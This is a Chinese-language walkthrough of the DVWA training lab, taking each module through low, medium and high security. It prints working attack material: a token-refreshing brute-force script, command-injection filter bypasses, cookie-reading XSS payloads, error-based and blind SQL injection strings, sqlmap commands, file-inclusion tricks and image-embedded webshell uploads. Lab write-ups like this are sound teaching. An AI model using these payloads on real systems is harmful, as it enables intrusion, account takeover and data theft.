Brute Force(暴力破解)
low
思路:使用burp进行简单的暴力破解,默认用户名是admin,当然也可以爆破
步骤:先抓到包,发送到intruder爆破模块
选好攻击类型,若已知用户名使用狙击手模式就好,添加好payload位置
两个payload位置选好相应的字典,就直接开始攻击
一般的题都是根据返回包的长度判断是否登陆成功,不过这个好像是有点问题,总之账号密码分别为admin password,把包发送到重放器,可以看到登陆成功
Medium
思路:只是过滤了一些转义字符,仍然可以用low的方法爆破
步骤:抓包,改payload爆破位置,加载字典,开始攻击,正确密码的包发到重放器看看,登陆成功
High
思路:可以看到多了一个token选项,每次发包都会刷新,所以我们需要让每次刷新token也跟着刷新,使用bp伪造或者python脚本
步骤:这里方便直接使用python脚本,把header头按照自己的抓包结果写好,配置一下字典路径,就可以开始爆破了,发现就一个包长度不一样,登陆成功
from bs4 import BeautifulSoup
import requests
header = {'Host': 'dvwa',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer': 'http://dvwa/vulnerabilities/brute/',
'cookie': 'security=high; PHPSESSID=lo59lphrl9diqklsbh9bh2cgpj',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
requrl = "http://127.0.0.1/vulnerabilities/brute/"
def get_token(requrl, header):
response = requests.get(url=requrl, headers=header)
print(response.status_code, len(response.content))
soup = BeautifulSoup(response.text, "html.parser")
input = soup.form.select("input[type='hidden']") # 返回的是一个list列表
user_token = input[0]['value'] # 获取用户的token
return user_token
user_token = get_token(requrl, header)
i = 0
for line in open("最好的密码100.txt"):
requrl = "http://127.0.0.1/vulnerabilities/brute/?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
i = i + 1
print(i, 'admin', line.strip(), end=" ")
user_token = get_token(requrl, header)
if (i == 100):
break
Command Injection(命令注入)
low
思路:简单命令拼接
步骤:输入127.0.0.1测试,发现执行了ping命令,可以进行命令拼接
使用&或者分号进行命令拼接,输入127.0.0.1&whoami,得到回显当前用户,命令成功执行
Medium
思路:过滤了两个字符,还是简单的命令拼接
步骤:使用&进行命令拼接,输入127.0.0.1&whoami,得到回显,命令成功执行
High
思路:查看源码发现黑名单过滤了很多符号,可以使用 ||管道符进行命令拼接
步骤:测试发现管道符||也被过滤,直接被替换为空,但是如果我们在||前后都加上空格,即输入 127.0.0.1 || whoami 则不会被替换,从而绕过限制
CSRF(跨站请求伪造)
low
思路:get型传参,构造url修改参数值
步骤:首先修改密码,显示密码已更改,url地址栏里直接显示了我们修改的密码
然后复制url,直接修改密码,这里改为123,看到密码已经修改了(这里有cookie限制不能复制到别的浏览器改了,知道csrf怎么用就行)
验证是否修改成功,点击测试登陆,输入刚修改的用户名,显示登陆成功
Medium
思路:抓包修改请求头
步骤:按照low的方法修改,发现提示请求不对
抓包观察发现在界面上直接更改时有referer参数,但是复制url重新改时没有了。我们只需把referer参数参数重新添加上再放包就能修改成功了
添加referer参数
测试,登陆成功
High
思路:这关的cookie会变,所以我们需要先利用DOM型的xss获取cookie,然后抓包替换cookie并修改密码
步骤:先利用xss语句获取用户cookie
French#<script>alert(document.cookie)</script>
然后抓包对cookie和密码进行修改,放包,修改成功
File Inclusion(文件包含)
low
思路:利用文件包含漏洞实现任意文件读取
步骤:我们先在d盘下创建一个1.txt文件,写上 hello ctf,再直接构造url利用文件包含漏洞读取,读取成功
Medium
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
思路:过滤了地址上传文件和相对路径,使用绝对路径传参
步骤:和low一样,直接使用绝对路径访问在d盘下的1.txt文件
High
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
思路:要求file开头,使用file函数读取文件
File Upload(文件上传)
low
没有任何过滤,直接上传一句话木马就可以连接成功
Medium
思路:后端对文件的mime类型做了限制,抓包修改Content-type字段的值即可绕过限制
步骤:抓包,将Content-type字段的值为image/jpeg,上传成功,根据回显的路径蚁剑连接,连接成功
High
思路:审计源码发现文件类型必须是png或jpg并且文件不能大于100kb,使用一张小图片加上一句话木马即可上传成功,然后利用文件包含漏洞解析
步骤:使用copy命令将一句话木马插入图片,上传成功后利用文件包含漏洞解析图片马,图片被解析,说明上传成功
SQL Injection(sql注入)
low
思路:没有什么绕过,简单get型注入,可以使用联合注入或报错注入
步骤:随便输入发现id是查询参数,
测试注入闭合类型,发现是单引号闭合,构造永真语句就可以得到所有用户名了
使用基础的语句得到数据库名,表名,字段名等,payload如下:
爆数据库:1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#
爆表名:1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#
爆字段名:1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
Medium
思路:同样没有什么绕过,post型注入,有报错回显,可以使用联合注入或报错注入
步骤:抓包,在id处写入报错注入语句,成功得到表名
High
思路:没有什么绕过,报错回显固定,不能加以利用了,只能使用联合注入
步骤:使用基本的联合注入
SQL Injection (Blind)(sql盲注)
low
思路:sql盲注,直接使用sqlmap梭
步骤:带上cookie,不然会有重定向,默认应答,爆破数据库
python sqlmap.py -u "http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=0gr4a8ft3i0cs8l4v9oi13ecg7; security=low" --batch --technique=B --dbs
Medium
python sqlmap.py -r url.txt --level 5 --risk 3 --dbs --tables --batch
High
思路:这关只能老老实实进行盲注,因为是两个页面,并且cookie会变化,sqlmap无法进行注入,正常盲注步骤就能注入成功
步骤:先判断注入类型,再猜测数据库长度,数据表个数,数据表长度等等,比较复杂
猜测不对返回
猜测正确返回
判断数据库长度:1' and length(database())=4#
依次猜出库名:1' and ascii(substr(database(),1,1))=100 #
1' and ascii(substr(database(),2,1))=118 #
1' and ascii(substr(database(),3,1))=119 #
1' and ascii(substr(database(),4,1))=97 #
判断表的个数:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
后面同理,就不一一列举了
xss(DOM)
low
思路:直接修改default的值就能弹框
步骤:在default参数处使用最基础的payload就能弹提示框
<script>alert('XSS');</script>
Medium
思路:先闭合起前面的标签,再插入xss弹窗语句
步骤:在default参数处闭合起前面的<select>标签,再使用正常的payload就能弹提示框
</select><img src=x onerror=alert('XSS')>
High
思路:DOM不和后端的服务期进行交互,而是利用DOM解析树,使得注释符后面的语句仍然能被执行。这里的语言也不能删除,因为后台有白名单限制
步骤:先绕过白名单,再写入xss语句,刷新就会弹框
French#<script>eval('alert("XSS")');</script>
xss(Reflected)
low
步骤:在提示框中使用最基础的payload就能弹提示框
<script>alert('XSS');</script>
Medium
思路:script标签被过滤了,使用html标签绕过
步骤:写入img标签实现绕过
<img src=x onerror=alert('XSS')>
High
思路:script标签被过滤了,比上一关过滤的更加严格了,仍然使用html标签绕过
步骤:写入img标签实现绕过
<img src=x onerror=alert('XSS')>
xss(Stored)
low
步骤:在留言板中使用最基础的payload就能弹提示框
Medium
思路:xss注入点在name表单,发现有输入字符长度限制,修改前端界面,进行注入
步骤:先修改最大长度为大于30的数,然后写入xss语句
<img src=x onerror=alert('XSS')>
High
思路:与上一关一模一样,先修改长度,再写入注入语句
步骤:先修改最大长度为大于30的数,然后写入xss语句
<img src=x onerror=alert('XSS')>